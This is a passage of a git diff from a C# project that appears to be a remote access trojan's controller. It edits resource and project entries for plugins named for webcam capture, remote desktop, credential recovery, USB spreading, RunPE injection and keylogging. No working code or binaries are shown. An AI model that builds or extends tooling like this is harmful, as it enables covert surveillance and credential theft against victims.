object obj = ResourceManager.GetObject("PluginDesktop", resourceCulture);
|
||||
return ((byte[])(obj));
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Looks up a localized resource of type System.Byte[].
|
||||
/// </summary>
|
||||
|
@ -166,9 +166,6 @@
|
||||
<data name="mouse" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\mouse.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
||||
</data>
|
||||
<data name="PluginCam" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\PluginCam.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
<data name="tomem1" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\tomem1.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
||||
</data>
|
||||
@ -238,9 +235,6 @@
|
||||
<data name="webcam" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\webcam.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
||||
</data>
|
||||
<data name="PluginDesktop" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\PluginDesktop.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
<data name="PluginRecovery" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\PluginRecovery.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
|
Binary file not shown.
Binary file not shown.
@ -180,11 +180,12 @@
|
||||
<DependentUpon>FormWebcam.cs</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="Handle Packet\HandleChat.cs" />
|
||||
<Compile Include="Handle Packet\HandleKeylogger.cs" />
|
||||
<Compile Include="Handle Packet\HandleFileManager.cs" />
|
||||
<Compile Include="Handle Packet\HandleKeylogger.cs" />
|
||||
<Compile Include="Handle Packet\HandleListView.cs" />
|
||||
<Compile Include="Handle Packet\HandleLogs.cs" />
|
||||
<Compile Include="Handle Packet\HandlePing.cs" />
|
||||
<Compile Include="Handle Packet\HandlePlugin.cs" />
|
||||
<Compile Include="Handle Packet\HandleRecovery.cs" />
|
||||
<Compile Include="Handle Packet\HandleRemoteDesktop.cs" />
|
||||
<Compile Include="Handle Packet\HandleReportWindow.cs" />
|
||||
@ -317,12 +318,15 @@
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Content Include="async_icon.ico" />
|
||||
<None Include="Resources\PluginUsbSpread.dll" />
|
||||
<None Include="Resources\PluginRecovery.dll" />
|
||||
<None Include="Resources\PluginRunPE.dll" />
|
||||
<None Include="Resources\PluginFileManager.dll" />
|
||||
<None Include="Resources\PluginDesktop.dll" />
|
||||
<None Include="Resources\webcam.png" />
|
||||
<None Include="Resources\PluginChat.dll" />
|
||||
<None Include="Resources\PluginCam.dll" />
|
||||
<None Include="Resources\LimeLogger.dll" />
|
||||
<None Include="Resources\PluginUsbSpread.dll" />
|
||||
<None Include="Resources\PluginRunPE.dll" />
|
||||
<None Include="Resources\PluginRecovery.dll" />
|
||||
<None Include="Resources\webcam.png" />
|
||||
<None Include="Resources\netstat.png" />
|
||||
<None Include="Resources\blank-screen.png" />
|
||||
<None Include="Resources\save-image2.png" />
|
||||
|
File diff suppressed because one or more lines are too long
Loading…
x
Reference in New Issue
Block a user